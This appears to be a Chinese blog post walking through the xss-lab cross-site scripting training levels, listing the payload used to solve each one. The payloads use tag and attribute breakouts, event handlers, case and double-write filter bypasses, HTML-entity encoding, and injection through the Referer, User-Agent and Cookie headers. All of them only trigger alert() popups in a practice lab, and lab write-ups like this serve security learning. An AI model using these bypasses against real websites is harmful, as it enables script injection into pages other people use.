xss漏洞总结

xss

Posted by mr_king on March 8, 2021

XSS漏洞总结

常见的弹窗方式

xss-lab通关记录

less-1

<script>alert('1')</script>

less-2

因为插入代码在value值中,闭合value标签,达到弹窗

"><script>alert('1')</script>"

less-3

<input>标签的一些特殊事件来执行js代码

'onfocus=javascript:alert('1') >
'onfocus=javascript:alert('xss') >

less-4

和less-3相同

" onfocus=javascript:alert('xss') >

less-5

在script中加入下划线导致代码无法执行,

"><a href=javascript:alert('1')>1xss</a>

less-6

双写,大写绕过

"><a HREF=javascript:alert('1')>a</a>

less-7

双写绕过,过滤了script

"><scrscriptipt>alert('1')</scrscriptipt>

less-8

编码绕过…… HTML编码 » 照例解析 » 输出HTML代码(我们输入的HTML编码 输出的则是代码,HTML实体编码在HTML页面会被解析而在后端看不到)

javascript:alert(/xss/)

&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x2f;&#x78;&#x73;&#x73;&#x2f;&#x29;

less-9检测是否有http://头

javascript:alert(‘http://’)

&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;'http://'&#x29;

less-10

keyword值被HTML实体编码了

关注三个被隐藏的input标签:?keyword=test&t_link=test&t_history&t_sort=test

只有t_sort这个参数有了效果,构造:

" onclick=alert(/xss/) type="text" ><

less-11

?keyword=test&t_link=test&t_history&t_sort=test t_sort被HTML实体编码,双引号闭合,没戏了!换一个思路t_ref的参数值是请求包中的Referer

" onclick=alert(/1/) type="text><

less-12

User-Agent

"type="text" onclick="alert('xss')

less-13

Cookie

"type="text" onclick="alert('xss')

less-14


less-15

?src='level1.php?name=<img src=1 onerror=alert(1)>'

less-16

<img%0asrc=111%0aonerror=alert(xss)%0a>